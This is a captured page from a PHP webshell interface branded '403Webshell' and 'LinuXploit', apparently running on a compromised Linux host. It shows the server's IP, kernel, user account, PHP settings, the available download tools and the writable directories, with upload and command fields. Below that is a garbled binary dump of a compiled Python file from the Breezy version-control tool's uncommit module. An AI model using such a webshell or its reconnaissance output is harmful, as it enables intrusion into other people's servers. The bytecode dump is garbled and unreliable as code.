403Webshell
Server IP : 104.21.74.243  /  Your IP : 216.73.216.47
Web Server : Apache
System : Linux infong-es77 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u67207989 ( 1351568)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/breezy/__pycache__/uncommit.cpython-39.pyc
a

�*�^=�@sNdZddlmZddlmZmZddlmZddlm	Z	dd�Z
d
dd�Zd
S)z@Remove the last revision from the history of the current branch.�)�absolute_import�)�errors�revision)�Branch)�BoundBranchOutOfDatec
CsZ|j��}|�||�}g}|��D]2\}}||vr4q"|D]}	|j�|	�|�|	�q8q"|S)aRemove tags on revisions between old_tip and new_tip.

    :param branch: Branch to remove tags from
    :param graph: Graph object for branch repository
    :param old_tip: Old branch tip
    :param parents: New parents
    :return: Names of the removed tags
    )�tagsZget_reverse_tag_dictZfind_unique_ancestors�itemsZ
delete_tag�append)
�branch�graph�old_tip�parentsZreverse_tagsZ	ancestorsZremoved_tagsZrevidr�tag�r�1/usr/lib/python3/dist-packages/breezy/uncommit.py�remove_tagss	
rFNc	Cshg}�zB|dur"|��|�|�|��|�|�g}|durP|��dd�}|rnd}	|��dur�t���n"|��}	|	dur�|	��|�|	�|��\}
}|	dur�||	��kr�t	||	��|dur�|
}|d}|
}
|}|j
��}|�|�D]h}|
|k�r|}�qZ|�rt
d|
|f�|
d8}
|�|g��|d�}|�s<q�|�t|dd���q�tj}|�s.|	du�rv|	�||�|�||�|	du�r�d}|}n|}|	}tjdD],}|}|tjk�r�d}||||
|||��q�t�|��s�|g}ng}|du�r|�t|��|�|�|���r.|�s.t||||�Wt|�D]}|���q8nt|�D]}|���qR0dS)a�Remove the last revision from the supplied branch.

    :param dry_run: Don't actually change anything
    :param verbose: Print each step as you do it
    :param revno: Remove back to this revision
    :param local: If this branch is bound, only remove the revisions from the
        local branch. If this branch is not bound, it is an error to pass
        local=True.
    :param keep_tags: Whether to keep tags pointing at the removed revisions
        around.
    NrzRemoving revno %d: %sZ
post_uncommit)Z
lock_writer
Zget_parent_idsZget_bound_locationrZLocalRequiresBoundBranchZget_master_branchZlast_revision_infoZ
last_revisionrZ
repositoryZ	get_graphZiter_lefthand_ancestry�printZget_parent_map�get�extend�reversed�
_mod_revisionZ
NULL_REVISIONZset_last_revision_inforZhooksZis_nullZset_parent_idsZ
supports_tagsrZunlock)rZdry_run�verboseZrevnoZtreeZlocalZ	keep_tagsZ
unlockableZpending_mergesZmasterZ	old_revnor
Z	new_revnoZ	cur_revnoZnew_revision_idrZrev_idrZ
hook_localZhook_master�hookZhook_new_tip�itemrrr�uncommit4s�









�

�r)FFNNFF)�__doc__Z
__future__r�rrrrrrrrrrrr�<module>s�

Youez - 2016 - github.com/yon3zu
LinuXploit